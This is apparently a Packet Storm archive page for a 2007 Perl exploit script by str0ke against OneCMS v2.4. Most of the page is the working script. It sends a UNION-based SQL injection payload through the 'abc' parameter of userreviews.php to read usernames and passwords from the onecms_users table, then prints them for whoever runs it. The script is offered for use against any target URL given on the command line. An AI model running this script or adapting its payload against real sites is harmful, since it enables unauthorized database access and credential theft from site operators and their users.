what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

onecms24-sql.txt

onecms24-sql.txt
Posted Sep 20, 2007
Authored by str0ke | Site milw0rm.com

OneCMS version 2.4 remote SQL injection exploit that makes use of userreviews.php.

tags | exploit, remote, php, sql injection
SHA-256 | 12705178b0a56cfd875a2f603dbeb7f7a8da02c4ce5f5ab5a22130d37b64fbf3

onecms24-sql.txt

Change Mirror Download
#!/usr/bin/perl
#
# OneCMS v2.4 Remote SQL Injection Exploit
#
# Description
# -----------
# OneCMS contains a flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the userreviews.php script not
# properly sanitizing user-supplied input to the 'abc' variable. This may
# allow an attacker to inject or manipulate SQL queries in the backend
# database if magic_quotes_gpc = off.
# -----------
# $Id: milw0rm_onecms.pl,v 0.1 2007/09/19 15:02:12 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;

&exploit($target);

sub usage
{
print "[?] OneCMS v2.4 Remote SQL Injection Exploit\n";
print "[?] str0ke <str0ke[!]milw0rm.com>\n";
print "[?] usage: perl $0 [target]\n";
print " [target] (ex. http://127.0.0.1/OneCMS)\n";
print " [proxy] (ex. 0.0.0.0:8080)\n";
exit;
}

sub exploit
{
my($target) = @_;

my $conn = LWP::UserAgent->new() or die;
$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
$conn->proxy("http", "http://".$proxy."/") unless !$proxy;

my $out=$conn->get($target."/userreviews.php?abc=-1'%20union%20select%200,concat(0x3a,0x3a,0x3a,username,0x3a,password,0x3a,0x3a,0x3a)username,0,password,0,0,0,0,0%20from%20onecms_users/*");

if ($out->content =~ m/:::(.*?):::/ms) {
print $1 . "\n";
} else {
print "Exploit Failed\n";
}
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close